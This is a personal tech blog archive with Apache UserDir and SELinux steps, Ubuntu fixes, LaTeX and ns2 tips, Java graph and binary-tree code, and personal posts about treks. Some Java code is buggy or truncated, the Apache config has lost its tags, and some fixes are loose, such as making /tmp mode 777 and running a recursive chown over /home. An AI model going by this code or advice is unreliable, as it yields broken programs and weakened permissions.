Friday, April 11, 2014

Enable UserDir (public_html) for Apache/Httpd -- Redhat/Oracle Linux

How to configure User Home for Apache/Httpd on Redhat/Oracle Linux
---
On Redhat based Linux, Apache2/httpd configuration files are usually based in /etc/httpd/conf/.

$vi /etc/httpd/conf/httpd.conf
# search UserDir in file which may be as below:


    #
    # UserDir is disabled by default since it can confirm the presence
    # of a username on the system (depending on home directory
    # permissions).
    #
    UserDir disabled
    #
    # To enable requests to /~user/ to serve the user's public_html
    # directory, remove the "UserDir disabled" line above, and uncomment
    # the following line instead:
    #
    #UserDir public_html


Now change as below:


    #
    # UserDir is disabled by default since it can confirm the presence
    # of a username on the system (depending on home directory
    # permissions).
    #
    UserDir disabled
    UserDir enabled testuser1

    #
    # To enable requests to /~user/ to serve the user's public_html
    # directory, remove the "UserDir disabled" line above, and uncomment
    # the following line instead:
    #
    UserDir public_html


Note:
       UserDir disabled
       UserDir enabled testuser1
Above code will enable the user directory just for user testuser1 and it will be remain disabled for all user. To enable for all user change as below:
       #UserDir disabled
       UserDir enabled
---------
Now, the next step is to configure public_html directory structure by removing the comment from the httpd.conf as below code.


    AllowOverride FileInfo AuthConfig Limit
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
   
        Order allow,deny
        Allow from all
   

   
        Order deny,allow
        Deny from all
   


-----
Now, change the directory permission.

chown testuser1:testuser1 /home/testuser1/public_html
chmod 755 /home/testuser1/public_html





and at last run below command:
        setsebool -P httpd_enable_homedirs true

root$service httpd restart

Update:

If you are getting error "(13)Permission denied: access to /demoproj denied" then it might be because of SELinux settings. To make it work, please check SELinux settings or run below command.




chcon -t httpd_sys_content_t /var/www/html/




Wednesday, December 11, 2013

Comeback!!

Hi guys, its been quite sometime since I wrote any post. This is just a comeback post and thanks for reading my post. I will start writing soon!! 

Tuesday, December 20, 2011

PDF-font-embedded problem or acrobat compatibility problem with PDFExpress ??

Have you came through the font embedding problem or acrobat compatibility ? I got these problem when I was submitting my final camera ready paper to IEEE pdf-express. When first time I submitted my paper then I got the font embedding problem like :
              
Error  Font Times-Roman is not embedded (832x)
Error  Font Times-BoldItalic is not embedded (14x)
Error  Font Times-Bold is not embedded (32x)
Error  Font Times-Italic is not embedded (66x)

I embedded all fonts and submitted second time and then I got the error :

Error Acrobat version is less than 5.0

But after third submission I got the message, paper has been passed all the basic formatting requirement. So I thought to share the solution with you guys.
Here is the steps i followed:

1> latex file.tex
2> dvips file.dvi -o file.ps
3> ps2pdf -dEmbedAllFonts=true -dSubsetFonts=true -dEPSCrop=true -dPDFSETTINGS=/prepress file.ps

Alternate solution:
Use ghost script pdf printer to embed all fonts and convert into PDF.

gs -dSAFER -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sPAPERSIZE=a4 -dPDFSETTINGS=/printer -dCompatibilityLevel=1.4 -dMaxSubsetPct=100 -dSubsetFonts=true -dEmbedAllFonts=true -sOutputFile=Final.pdf Final.ps

Some more same kind of solution: Link1 Link2

Good luck !!

Friday, November 25, 2011

Implemenations of BFS & DFS traversal for Graph using adjancency Matrix (Java)


import java.io.BufferedInputStream;
import java.util.LinkedList;
import java.util.Scanner;
import java.util.Stack;

/**
 *
 * @author santosh
 */
public class AdjMatGraph {

    class Queue {

        LinkedList queueHead = new LinkedList();
        int size;

        public void enqueue(GNode gn) {
            size++;
            queueHead.add(gn);
        }

        public GNode dequeue() {
            if (size > 0) {
                size--;
                return queueHead.removeLast();
            }

            return null;
        }

        public GNode peek() {
            return queueHead.getFirst();
        }

        public GNode tail() {
            return queueHead.getLast();
        }

        public int qSize() {
            return size;
        }

        public boolean isEmpty() {
            if (size <= 0) {
                return true;
            } else {
                return false;
            }
        }
    }

    private class GNode {

        int vLabel;
        boolean isVisited;
    }
    private int adjMat[][];
    private int noOfEdges;
    private int noOfVertex;
    private GNode vertex[];
    private Stack stack;
    private Queue queue;

    public AdjMatGraph() {

        adjMat = new int[100][100];

        for (int i = 0; i < 100; i++) {
            for (int j = 0; j < 100; j++) {
                adjMat[i][j] = 0;
            }
        }

        noOfEdges = 0;
        noOfVertex = 0;
        vertex = new GNode[100];

        for (int k = 0; k < 100; k++) {
            vertex[k] = new GNode();
            vertex[k].isVisited = false;
            vertex[k].vLabel = -1;
        }

        stack = new Stack();
        queue = new Queue();
    }

    public void setNoEdges(int val) {
        noOfEdges = val;
    }

    public void setNoVertex(int val) {
        noOfVertex = val;
        for (int i = 1; i <= val; i++) {
            vertex[i - 1].vLabel = i;
        }
    }

    public int findVertex(int v) {

        for (int i = 0; i < noOfVertex; i++) {
            if (vertex[i].vLabel == v) {
                return i;
            }
        }

        return -1;
    }

    public void addEdge(int v1, int v2) {

        int index1 = findVertex(v1);
        int index2 = findVertex(v2);

        if (index1 != -1 && index2 != -2) {
            adjMat[index1][index2] = 1;
            adjMat[index2][index1] = 1;
        }
    }

    public void printMatrix() {

        for (int i = 0; i < noOfVertex; i++) {
            System.out.println();
            for (int j = 0; j < noOfVertex; j++) {
                System.out.print("\t" + adjMat[i][j]);
            }
        }
    }

    public GNode getAdjNode(GNode node) {

        int index = findVertex(node.vLabel);

        if (index != -1) {
            for (int i = 0; i < noOfVertex; i++) {
                if (adjMat[index][i] == 1 && !vertex[i].isVisited) {
                    // System.out.println("GetAdj: " + vertex[i].vLabel);
                    return vertex[i];
                }
            }
        }

        return null;
    }

    public void DFS() {
        System.out.print("DFS: ");
        for (int i = 0; i < noOfVertex; i++) {
            if (!vertex[i].isVisited) {
                stack.add(vertex[i]);
                while (!stack.isEmpty()) {
                    GNode tmp = stack.pop();
                    if (!tmp.isVisited) {
                        tmp.isVisited = true;
                        System.out.print("\t" + tmp.vLabel);

                        // get adjacent node
                        GNode t2 = getAdjNode(tmp);
                        if (t2 != null) {
                            stack.add(t2);
                        }
                    }
                }
            }
        }

        for (int i = 0; i < noOfVertex; i++) {
            vertex[i].isVisited = false;
        }
    }

    public void BFS() {
        System.out.print("\nBFS: ");
        for (int i = 0; i < noOfVertex; i++) {
            if (!vertex[i].isVisited) {
                vertex[i].isVisited = true;
                System.out.print("\t" + vertex[i].vLabel);
                queue.enqueue(vertex[i]);
                while (!queue.isEmpty()) {
                    GNode tmp = queue.dequeue();
                    GNode v = null;
                    tmp.isVisited = true;
                    while ((v = getAdjNode(tmp)) != null) {
                        v.isVisited = true;
                        System.out.print("\t" + v.vLabel);
                        queue.enqueue(v);
                    }
                }
            }
        }
        System.out.println();
        for (int i = 0; i < noOfVertex; i++) {
            vertex[i].isVisited = false;
        }
    }

    /**
     * This section contains function to help implement Directed Graph
     * and topological sorting.
     */
    public void addDirectEdge(int v1, int v2) {

        int index1 = findVertex(v1);
        int index2 = findVertex(v2);

        if (index1 != -1 && index2 != -1) {
            adjMat[index1][index2] = 1;
        }
    }

    public int noSuccessor() {

        for (int i = 0; i < noOfVertex; i++) {
            boolean isVisited = false;
            for (int j = i; j < noOfVertex; j++) {
                if (adjMat[i][j] > 0) {
                    isVisited = true;
                    break;
                }
            }
            if (!isVisited) {
                return i;
            }
        }

        return -1;
    }

    public void deleteVertex(int index) {

        //int index = findVertex(v);
       
        if (index != noOfVertex - 1) {

           // System.out.println("No of Vertex: " + noOfVertex + "\tindex: " + index);
           
            for (int i = index; i < noOfVertex-1; i++) {
                vertex[i].vLabel = vertex[i + 1].vLabel;
           
                moveRowUp(i, noOfVertex); // shift all rows next to given vertex to 1 row up.
               
                moveColLeft(i, noOfVertex-1); // shift all column to 1 left from given vertex.

            }
        }

        noOfVertex--;

    }

    public void topologicalSorting(){
        int orig_nVerts = noOfVertex;
       
        while(noOfVertex > 0){
            int currVertex = noSuccessor();
           
            if(currVertex == -1){
                System.out.println("There is Cycle !!");
                return;
            }
           
            //System.out.println("Total Vertex: " + noOfVertex + "\tCurrent Vertex: " + vertex[currVertex].vLabel + "\tIndex: " + currVertex);
           
            // insert vertex label in sorted array (start at end)
            sortedArray[noOfVertex-1] = vertex[currVertex].vLabel;
           
            // delete vertex
            deleteVertex(currVertex);
           
            /*
            System.out.println();
            printMatrix();
            System.out.println();
             *
             */
        }
       
        System.out.print("Topological Sorted: ");
       
        for(int i=0; i            System.out.print("\t" + sortedArray[i]);
        }
       
        System.out.println();
    }
    // ------------------
    private void moveRowUp(int row, int length) {
        for (int col = 0; col < length; col++) {
            adjMat[row][col] = adjMat[row + 1][col];
        }
    }
// ------------------

    private void moveColLeft(int col, int length) {
        for (int row = 0; row < length; row++) {
            adjMat[row][col] = adjMat[row][col + 1];
        }
    }
// ------------------------------------------------------------


    public static void main(String args[]) {

        AdjMatGraph graph = new AdjMatGraph();
        Scanner stdin = new Scanner(new BufferedInputStream(System.in));

        System.out.println("Please enter the #vertex #Edges !!");
        graph.setNoVertex(stdin.nextInt());
        graph.setNoEdges(stdin.nextInt());

        System.out.println("Please enter the Edges And enter non-numeric character to end !!");

        while (true) {
            if (stdin.hasNextInt()) {
                //System.out.println(stdin.nextInt());
                graph.addEdge(stdin.nextInt(), stdin.nextInt());

                /* use this function to add edge in case graph is directed graph */

                // graph.addDirectEdge(stdin.nextInt(), stdin.nextInt());
            } else {
                break;
            }
        }

        graph.printMatrix();
        System.out.println("\n");
        graph.DFS();
        System.out.println();
        graph.BFS();


         
        // graph.topologicalSorting();
    }
}

Tuesday, November 22, 2011

Binary Tree Implementation (Java Code)

Node.java
/**
 *
 * @author santosh
 */

public class Node {
   
     Node left;
     Node right;
     Node parent;
     int     val;
     int     height;
     int     balanceFactor;
     int     NaV = -99999999; // not a value.
   
    public Node(){
        left = right = parent = null;
        val = height = balanceFactor = NaV;
    }
   
    public Node(int val){
        left = right = parent = null;
        this.val = val;
        height = balanceFactor = NaV;
    }
   
    public Node(int val, int key){
        left = right = parent = null;
        this.val = val;
        this.balanceFactor = key;
        height = NaV;
    }
}

BST.java

/**
 *
 * @author santosh
 */
public class BST {

    private Node root;
   
    public BST(){
        root = null;
    }
   
    /**
     * Insert a node in given tree.
     * @param val
     */
    public void insert(int val){
       
        Node t = new Node(val);
        if(root == null){
            root = t;
            return;
        }else{
            Node temp = root, prev = null;
            while(temp != null){
                prev = temp;
                if(val > temp.val){
                    temp = temp.right;
                }else{
                    temp = temp.left;
                }
            }
           
            t.parent = prev; // assign the parent to new node;
           
            if(val > prev.val)
                prev.right = t;
            else
                prev.left = t;
        }
        return;
    }
   
    /**
     * Find the node whose data is given.
     * @param t
     * @param val
     * @return
     */
    public Node findNode(Node t, int val){
       
        Node temp = null;
       
        if(t != null && t.val == val)
            return t;
       
        if(t.left != null)
            temp = findNode(t.left, val);
        if(temp == null & t.right != null)
            temp = findNode(t.right, val);
       
        return temp;
    }
   
    /**
     * Returns the min value in a non-empty binary search tree.
     * @param t
     * @return
     */
    public Node findMin(Node t){
       
        if(t != null && t.left == null)
            return t;
        else
            return findMin(t.left);
    }
   
    /**
     * Returns the min value in a non-empty binary search tree.
     * @param t
     * @return
     */
    public Node findMax(Node t){
       
        if(t != null && t.right == null)
            return t;
        else
            return findMax(t.right);
    }
   
    /**
     * Print path of each leaf node in recursive order.
     * @param sum
     * @param t
     * @return
     */
    public int printPath(int sum, Node t){
       
        while(t != null){
            System.out.print("\t" + t.val);
            sum += t.val;
            t = t.parent;
        }
        return sum;
    }
   
    /**
     * Print leaf nodes
     * @param t
     */
    public void printLeafNodes(Node t){
       
        if(t != null && t.left == null && t.right == null){
            System.out.print("\t" + t.val);
        }
       
        if(t != null){
            printLeafNodes(t.left);
            printLeafNodes(t.right);
        }
       
        return;
    }
   
    /**
     * find path for each leaf node
     * @param t
     */
    public void findPath(Node t){
        if(t != null && t.left == null && t.right == null) {
            System.out.print("Path: ");
            int sum = printPath(0, t);
            System.out.println("\tSum: " + sum);
        }
        if(t != null){
            findPath(t.left);
            findPath(t.right);
        }
        return;
    }
   
    /**
     * Check if any path has given sum.
     * @param t
     * @param sum
     * @return
     */
    public boolean hasPathSum(Node t, int sum){
        if(t == null)
            return (sum == 0);
        else{
            sum -= t.val;
            return hasPathSum(t.left, sum) || hasPathSum(t.right, sum);
        }
    }
   
    /**
     * Make mirror image of given tree.
     * @param t
     */
    public void mirrorTree(Node t){
       
        if(t == null)
            return;
       
        Node temp = null;
        mirrorTree(t.left);
        mirrorTree(t.right);
       
        temp = t.left;
        t.left = t.right;
        t.right = temp;
       
        return;
    }
   
    /**
     * For each node in a binary search tree, create a new duplicate node, and insert
     * the duplicate as the left child of the original node.
     * The resulting tree should still be a binary search tree. So the tree...
     *          2
     *         / \
     *        1   3
     * Is changed to...
     *          2
     *         / \
     *        2   3
     *      /    /
     *     1    3
     *    /
     *   1
     *
     **/
    public void doubleTree(Node t){
       
        if(t == null)
            return;
       
        Node oldLeft = null;
        doubleTree(t.left);
        doubleTree(t.right);
       
        oldLeft = t.left;
        t.left = new Node(t.val);
        t.left.parent = t; // assign parent to new node
        t.left.left = oldLeft;
        if(t.left.left != null)
            t.left.left.parent = t.left; // update the parent for old node
       
    }
   
    /**
     * Given two trees, return true if they are structurally identical.
     * @param t1
     * @param t2
     * @return
     */
    public boolean checkMatchingTree(Node t1, Node t2){
     
        // both empty
        if(t1 == null && t2 == null)
            return true;
       
        else if(t1 != null && t2 != null)
            return (t1.val == t2.val &&
                    checkMatchingTree(t1.left, t2.left) &&
                    checkMatchingTree(t1.right, t2.right));
        else // one of them empty
            return false;
    }
   
    /**
     * Count number of nodes in a given tree.
     * @param t
     * @return
     */
    public int countTNode(Node t){
       
        if(t == null)
            return 0;
        else
            return (countTNode(t.left) + 1 + countTNode(t.right));
           
    }
   
    /**
     * For the key values 1...numKeys, how many structurally unique binary
     * search trees are possible that store those keys?
     * Strategy: consider that each value could be the root.
     * Recursively find the size of the left and right subtrees.
     * @param key
     * @return
     */
    public int countTrees(int key){
       
        if(key <= 1)
            return 1;
        else{
            // there will be one value at the root, with whatever remains
            // on the left and right each forming their own subtrees.
            // Iterate through all the values that could be the root...
            int sum = 0;
            int lht, rht, rt = 0;
           
            for(rt=1; rt<=key; rt++ ){
                lht = countTrees(rt-1);
                rht = countTrees(key-rt);
               
                // number of possible trees with this root == left*right
                sum += lht * rht;
            }
           
            return sum;
        }
    }
   
    /**
     * Find the maximum depth of a given tree.
     * @param t
     * @return
     */
    public int maxDept(Node t){
       
        if(t == null)
            return 0;
       
        int lDepth = maxDept(t.left);
        int rDepth = maxDept(t.right);
       
        return (lDepth>rDepth)?(lDepth+1):(rDepth+1);
       
    }
   
    /**
     * Print the tree in In-Order.
     * @param t
     */
    public void printInOrder(Node t){
        if(t == null)
            return;
       
        printInOrder(t.left);
        System.out.print("\t"+t.val);
        printInOrder(t.right);
    }
   
    /**
     * print the tree in Post-Order.
     * @param t
     */
    public void printPostOrder(Node t){
        if(t == null)
            return;
       
        printPostOrder(t.left);
        printPostOrder(t.right);
        System.out.print("\t"+t.val);
       
    }
   
    /**
     * Print the tree in Pre-order.
     * @param t
     */
    public void printPreOrder(Node t){
        if(t == null)
            return;
       
        System.out.print("\t"+t.val);
        printPreOrder(t.left);
        printPreOrder(t.right);
    }
   
    /**
     * Get root of the node.
     * @return
     */
    public Node getRoot(){
        return root;
    }
}

Monday, November 14, 2011

NS2: How add/implement a new protocol into ns2 network simulator

I have tried adding new protocol called "MyPing" using existing code of "ping" protocol. I have followed following procedure :

1. copy the ping.h & ping.cc to ns2-xx/apps and renamed it myping.h & myping.cc respectively.

2. Define MyPing Packet type in packet.h as:


a)       // insert new packet types here
          static const packet_t PT_MYPING = 62;
          static packet_t       PT_NTYPE = 63; // This MUST be the LAST one

b)         class p_info {  .........
              static bool data_packet(packet_t type) {
              ..................................
              (type) == PT_MYPING\
             -----------------------------
           static void initName()
           ------------------------------
           name_[PT_MYPING]="MyPing";
     //------------------------------------
           name_[PT_NTYPE]= "undefined";
          .....................................................


c)      #define DATA_PACKET(type) ( (type) == PT_TCP || \
            ...........................................
             (type) == PT_MYPING \
             ...........................................


3)  Define default value of MyPing agent in ns-default.tcl
    Agent/MyPing packet_size 64


4) Edit Makefile inside ns2-xx dir and add "apps/myping.o"  next to "apps/ping.o" 


5) make clean and then make


You may follow these links for more information related to implementation:
http://www.isi.edu/nsnam/ns/tutorial/nsnew.html
http://nile.wpi.edu/NS/

Thanks
--

Wednesday, November 9, 2011

Have you tried to model your life?

If you have to model your Life what kind of model you will use? This question came in to my mind when I was reading something & came across sine wave.  So i thought why don't I try to model my life on sine wave & see how it fits. What I fund that is sounds interesting to me. The best thing about sine wave is, it periodically changing from high to low amplitude & vice-versa. Our life too have up & down that keeps changing with time. Some time it may be at its extreme either it could be up or down.
Here is life cycle that goes along with time....


fun time over....
bye

Monday, October 17, 2011

Move Window Buttons to Right in Ubuntu

Ubuntu 10.04 / 10.10 :

Step1: Press Alt+F2 to bring up the Run Application dialog box, enter “gconf-editor” in the text field, and click on Run.

Step2:  Click on the + button next to the “apps” folder, then beside “metacity” in the list of folders expanded for apps, and then click on the “general” folder.

Step3:  The button layout can be changed by changing the “button_layout” key and Change the text in the Value text field to:
                           
                                 menu:maximize,minimize,close

Ubuntu 11.04 / 11.10 : 

Run the following command on terminal :

gconftool-2 --set /apps/metacity/general/button_layout \
 --type string "menu:minimize,maximize,close"

Ubuntu 12.04 / 12.10 : 

Run the following command on terminal:
 
gsettings set org.gnome.desktop.wm.preferences \ 
button-layout ':minimize,maximize,close'

Or, open dconf-editor and navigate to org/gnome/desktop/wm/preferences, and then change the value of button layout to :minimize,maximize,close

Tuesday, September 13, 2011

[Bibtext][Latex] RFC citation issues into conference paper or journal

Bibtex Entry:

Citing RFC :

@techreport{rfc2358,
   AUTHOR = "Flick, J and Johnson, J.",
   TITLE = "{Definitions of Managed Objects for the Ethernet-like}",
   HOWPUBLISHED = {Internet Requests for Comments},
   TYPE="{RFC}",
   NUMBER=2358,
   PAGES = {},
   YEAR = {1998},
   MONTH = {June},
   ISSN = {2070-1721},
   PUBLISHER = "{RFC Editor}",
   INSTITUTION = "{RFC Editor}",
   URL={http://www.rfc-editor.org/rfc/rfc2358.txt}
  }

Citing RFC Drafts:

   @TECHREPORT{draft-ipng-gseaddr-00.txt,
   AUTHOR="M. O'Dell",
   TITLE="{GSE: An Alternate Addressing Architecture for IPv6}",
   HOWPUBLISHED="{Working Draft}",
   TYPE="{Internet-Draft}",
   NUMBER="draft-ipng-gseaddr-00.txt",
   INSTITUTION="{IETF Secretariat}",
   DAY=24,
   MONTH=Feb,
   YEAR=1997
   }
 
More information:
1. Recommendations of a committee on RFC citation issues draft-carpenter-rfc-citation-recs-01

2. Using The ISSN (International Serial Standard Number) as URN (Uniform Resource Names) within an ISSN-URN Namespace



Sunday, December 26, 2010

The Quarter-Life Crisis

Read it, if you feel loneliness...may be it will help you to understand you mid 30's problem !!

Link: http://www.cds.caltech.edu/~shane/text/quarterlifecrisis.html

Thursday, December 2, 2010

Ubuntu Login problem using GUI interface

I have been coming around with this problem from long time and there is no fixed or predefined solution for this. May be its there but its not in my knowledge. Every time I found different reason of this problem and fixed it. So thought to write some of those issue here and there solution.
Since you are not able to login through GUI but you can still login using terminal. Press & [F1-F6] to get terminal and press to get GUI window.
Now here is different issues:

1. Permission of file "/home/user/.ICEAuthority & /home/user/.Xauthority" might have changed. You check file permission using "ls -la ". If write permission is not given to user then change permission to particular user.
Other thing you can do is "sudo chown user.user /home/ -R"

2. Check if "/tmp" directory permission has changed to root only. If read only then changed it to 777.

3. you can try to run this command "sudo /etc/init.d/gdm restart" on terminal. After that run "sudo gdm" and you will get GUI interface to login. Provide user information and login and if you get success then restart the system. Now you can do normal login. some time it works fine for me!!

some other problems are also there but i m not sure whether they are related to above said problem or not. So I am skipping those issue, may be I'll write later :)

PS: all above solution are hit & trial solution based on what problem I have faced.

Wednesday, November 3, 2010

upgrading Ubuntu to new release (9.10 to 10.04)

I am fan of Linux basically Fedora and Ubuntu. Ubuntu community has done a very good job for upgrading Ubuntu. If you want to upgrading your Ubuntu 9.10 to 10.04, you can do it in few steps.
Open a terminal and follow the following steps:
1. sudo apt-get update
2. sudo apt-get install update-manager-core
3. check : /etc/update-manager/release-upgrades and see if Prompt=normal is there. If not edit the file and set Prompt=normal
4. sudo do-release-upgrade
PS: you should have good internet connection to upgrade your system using above steps.

For upgrading from ubuntu cd : read here

Tuesday, July 6, 2010

Confused & Idiotic feeling

What do you feel when you know the problem and not able to solve it ?? I am not talking about research problem but about personal problem. That situation reminds me only one thing -- Life sucks !!
Hope it will get over soon and i'll start again feeling life in better view :)

Wednesday, May 26, 2010

Writing CD/DVD ISO file using cdrecord on Linux Machine

Many of us are used to use propriety software for burning CD/DVD with Windows machine. For burning software like Nero, etc. people are spending hundred of Dollars($). But same thing you can do on Linux free of cost. You can either use GUI package like K3B or command line cdrecord. I tried both but cdrecord makes me more comfort.
Here is the command by using you can burn CD/DVD.

CD:
# cdrecord -v -dao speed=4 dev=/dev/cd /path/to/Fedora-13-i386-CD.iso

CDRW:
# cdrecord -v -dao speed=4 dev=/dev/cdrw /path/to/Fedora-13-i386-CD.iso

DVD:
# cdrecord -v -dao speed=4 dev=/dev/dvd /path/to/Fedora-13-i386-DVD.iso

DVDRW:
# cdrecord -v -dao speed=4 dev=/dev/dvdrw /path/to/Fedora-13-i386-DVD.iso

Check the different options which is used in above commands:

-v - turns on verbose mode.

-dao - puts us in Disc At Once mode. Since you're burning an ISO image here, you don't want to add any more data later in a future 'session', so you can just instruct cdrecord to put it in one session and finalise the disc.

speed=4 - you keep the burning speed down as it is more likely to burn properly and not fail. You can experiment with higher speeds if you want, but don't go higher than either your media or burner state they can do (and do

dev=/dev/dvd - this is the device node for your DVD drive. It's usually safe to put /dev/dvd here, but if that doesn't work, you may need to use /dev/cdrom or something else.

Finally, specify the path to the ISO image you want to burn.

--
Enjoy !!

Saturday, January 23, 2010

Read your email on Gmail in your own language using Google Translator(Lab product)

I found very nice thing to share with you guys. I found very good google lab product "Google Translator" for gmail. Its very interesting to translate your emails into your own favorite language. However i checked this lab service on Google chrome on fedora 10 machine but hoping it will work fine for other also. Here is small conversion of email :
 
<--------
chk त्रुटि: 

रन: 
निर्धारित एक नया 'डोमेन घ' 
BuildNetwork बुलाया 


################ बनाएँ डेटा नोड ################### के लिए फ़ाइल 

पिछले पढ़ें सूचकांक: 0 
# # # # में आवागमन फाइल विवरण ##### 

नोड संख्या दर्ज करें, और लिंक-नंबर: 
# # # # बाहर आवागमन फाइल विवरण ##### 

नोड संख्या दर्ज करें, और लिंक-नंबर: 
नोड संख्या दर्ज करें, और लिंक-नंबर: 
नोड संख्या दर्ज करें, और लिंक-नंबर: 
java.lang.StringIndexOutOfBoundsException: string सीमा से बाहर सूचकांक: -1 
(String.java: 1949 java.lang.String.substring पर) 
BBN.StructureLearn.createHuginInputFile पर (StructureLearn.java: 234) 
-----------------
COM.hugin.HAPI.ExceptionIO: एक घातक त्रुटि एक इनपुट या उत्पादन आपरेशन के दौरान हुई. यह एक के लिए एक निर्दिष्ट फ़ाइल को खोलने विफलता, एक को गलत अनुमति, एक की वजह से आपरेशन लिखने के दौरान एक विफलता के कारण फ़ाइल बनाने के असफल हो सकता है डिस्क चल भरा, आदि 
COM.hugin.HAPI.ExceptionHugin.throwException पर (ExceptionHugin.java: 81) 
COM.hugin.HAPI.Domain.parseCase पर (Domain.java: 1382) 
------------------------------------------------
निर्माण सफल (कुल समय: 0 सेकंड) 
----------------->

There is small error still existing but once the product will get stability, it will be minor. So, if you like please try out :)

Wednesday, January 6, 2010

Happy new year 2010 :)

Happy new year 2010 :)
I had good vacation at home in December. This was my second visit to home after 10 month since I have visited my home last time.
Hope for good year for me and my career.

Tuesday, November 3, 2009

"SAVE TADA 1 Nov" mission accomplished !!


This Sunday I went for trek to TADA (Ubbalamadugu Falls) with CTC. The aim for this trek was save TADA from pollution and create awareness between local communities.Some of you may not know where is this TADA.It is situated at the border between Tamil Nadu and Andhra Pradesh lies a small spot of paradise called Tada waterfall. From last year the place is got polluted by drunker and unsocial activities. And also the place becomes unsafe as some women/trekkers started getting harassed by drunker. So, TADA the natural started loosing its beauty. Then CTC come forward to clean and create awareness inside people. Finally on 1 nov CTC reached there with 230 volunteer. As per my knowledge this was the largest trek in terms of number of people joined the trek in CTC history. We reached there 8.30 morning. Had nice breakfast (Idly-Bada with chateny). We packed lunch (Biryani) and prepared our cleaning tools(garbage collector bag, gloves).The organizer were well prepared. They divided whole group into 20 group and each group assigned certain fixed portion to clean and collect garbage. It was great to see people were very enthusiastic to clean the place and that why we completed cleaning by 1 PM. Mean while forest officers also reached there to see our work. Once every group completed his work, we bring down all garbage bag and presented in front of media. Check this video of Peter addressing media.
After media addressing we again went to up hill and enjoyed swimming at least 2-3 hr. Around 5 we started from there and reached Chennai 9 PM. Finally I was in hostel at 11 PM. It was great fun with participation in social cause. Peter is planning second "SAVE TADA" mission. Date is yet to be announced.
PS: If you also want to be part of social cause trek please visit www.chennaitrekkers.org

Wednesday, October 28, 2009

No sound after installing Windows Version OS on Virtual Box

I installed windows 7 RC version on Vertual Box where host Operating System was ubuntu 9.04 (jaunty). Every thing was working fine except sound. I notice that Windows 7 giving error message "no sound device found". That was the major problem which I found after installing windows 7. I did some googling to find the solution of that problem. Some forum suggested to try Alsa-mixture, where as some other suggeting try OSS. But nothing works.
Finally I set my settings in Alsa-mixture and AC-97 audio controller. But this also did not works. But luckly I got the solution from Virtual Box bug report. For solution I downloaded AC'97 Audio Codecs from http://www.realtek.com.tw . After installing AC'97 codecs, Windows 7 automatically ditected sound. Now Windows 7 have full feature on Virtual Box and I am enjoying testing of Windows 7 on Virtual Box.

PS: Which software you have to download and instal

1. Go to http://www.realtek.com.tw

2. Click on "Downloads", then on "AC'97 Audio Codecs". On the downloads page I downloaded the file with the description "Vista/Win7 (32/64 bits) Driver only (ZIP file)".

3. Extracte the files and run setup.exe from "6303_Vista_Win7_PG537" folder.

Saturday, October 10, 2009

Parental Guidance Rating for my Blogs

I checked my blogs for Parental Guidance Rating and this what I got.
OnePlusYou Quizzes and Widgets

This rating was determined based on the presence of the following words:
  • xxx (2x)
  • hurt (1x)
Interesting :) it did not giving rating based on picture/image what I have in my blog. Particularly King Fisher calendar.
Check yours here if you are also interested to know your blogs rating :)

Wednesday, September 2, 2009

How much carbon you are producing by google search?

During my research on Next Generation networks(NGNs), I found some interesting thing and then I thought to post on my blog. The interesting thing I found was quantity of carbon production by using Internet. Have you gave any thought while searching anything using Google or others search engine. I hope "no" !! me too. I was just surprised after knowing one Google search producing approx 0.2g CO2. The data may vary from lab to lab. Here is some words taken from a article "A Harvard University physicist says a typical search on a desktop computer generates about 7 grams of carbon dioxide. Thus performing two second searches is comparable to bringing a kettle to boil, according to report Sunday in The Times of London. While that may not sound like a lot, the report notes that Google handles about 200 million searches daily." Lots of research is going around energy consumption by Information and Communication Technology(ICT) and their effects on environment. You be surprise that the CO2 produced by ICT is 2-3% of global CO2 production and it is equivalent to CO2 produced by Airlines[Source Gartner Inc.]. How you feel after knowing that every second spent on web-browsing generates 20 milligrams of CO2[Wissner-Gross estimates]. It estimates that the Internet will produce 20% of the world's green house gas(GHGs) in 10 years[source]. According to anti-virus software firm McAfee, the electricity needed just to transmit the trillions of spam emails sent annually equals the amount required to power over two million homes in the United States while producing the same level of greenhouse gas emissions as more than three million cars. Is this really worth? The main source of CO2 production by ICT is large data centers. The things I have mentioned is just an snapshot of how really big this problem is? You will get more interesting and research problem in this as you go more deep into this.

Friday, August 14, 2009

My second CTC trek to NAGALAPURAM

Hi,
Greetings !!
Finally I went for second trip with CTC for trekking on 2ns August. For going that trek, I was very excited and started preparing 2 days before. On final night before trek means on 1st Aug i went for sleep on 1am in night and woke up at 2am. You may think 1 hr sleep, Yes total hours I slept was 1hr. That night I returned from lab at 8pm had food and went to gurunath for shopping some snacks, chocolates, glucose and battery for LED torch. I returned my room at 9:30 pm,started packing bag, took night bath and again went to my friend Vadiraj room(he was also joining trek with me) at 11:00 pm . I returned to my room at 12:30 pm and checked final packing as suggested for one day trek. At 3AM we started from hostel to main gate of IIT Madras by cycle. Wow, at 3 am morning how awesome the campus looking.
This is just single snap of road we took. We saw black buck, which is generally appears in night. Finally we ware on main gate of IITM at 3:15. Our pickup point time was 3:30 so we ware in hurry. We walked towards Madhya-Kailash after parking our cycle at parking stand near main gate. We took 10 minute to reach Madhya-Kailas. We ware the first one who reached there. After some time some more people from CTC joined us. As our pickup point was 3:30 but the CTC group reached there at 4:20 in morning. This happened because of some confusing of pickup-point option people has filled during registration for trekking. From CTC group santhosh came out from car and took attendance of present people and told their seat in car/bike. I knew santhsosh because he was on Nagala15 trek. I got seat in his car and we started from Madhya-Kailash to Guindy. From guindy they pickup more guys and finally reached a common place(sorry i don't know name of that place) where other groups waiting for us. There sathosh and other organizer collected 700 bucks for trek from all. They loaded food item and water bottle into different cars. Finally we started from there at 5:20 in the morning. We reached Nagalapuram at 8am.

Once we reached there, i just surprised because it was same place where I already came in Nagala15. But other thing was only few people ware there from Nagala15, so I was just feeling new environment. They started distributed food and water bottle at parking place itself, because from there we had to walk towards base of mountains. In food item curd rice, sanvar rice, chapati with anchar and in fruit apple was available. This is first time i saw Poppins chocolate. Other item was glucose, chipps and drinking water bottle. I took one savar rice, one chapati pack with 2 apple, 2 water bottle, 2 Poppins and one chipps packet.
Finally we reached breakfast point near waterfall, where some people started breakfast and some started playing in water. I also jump into water and started enjoying swimming. The water was falling from more than 50 feet.
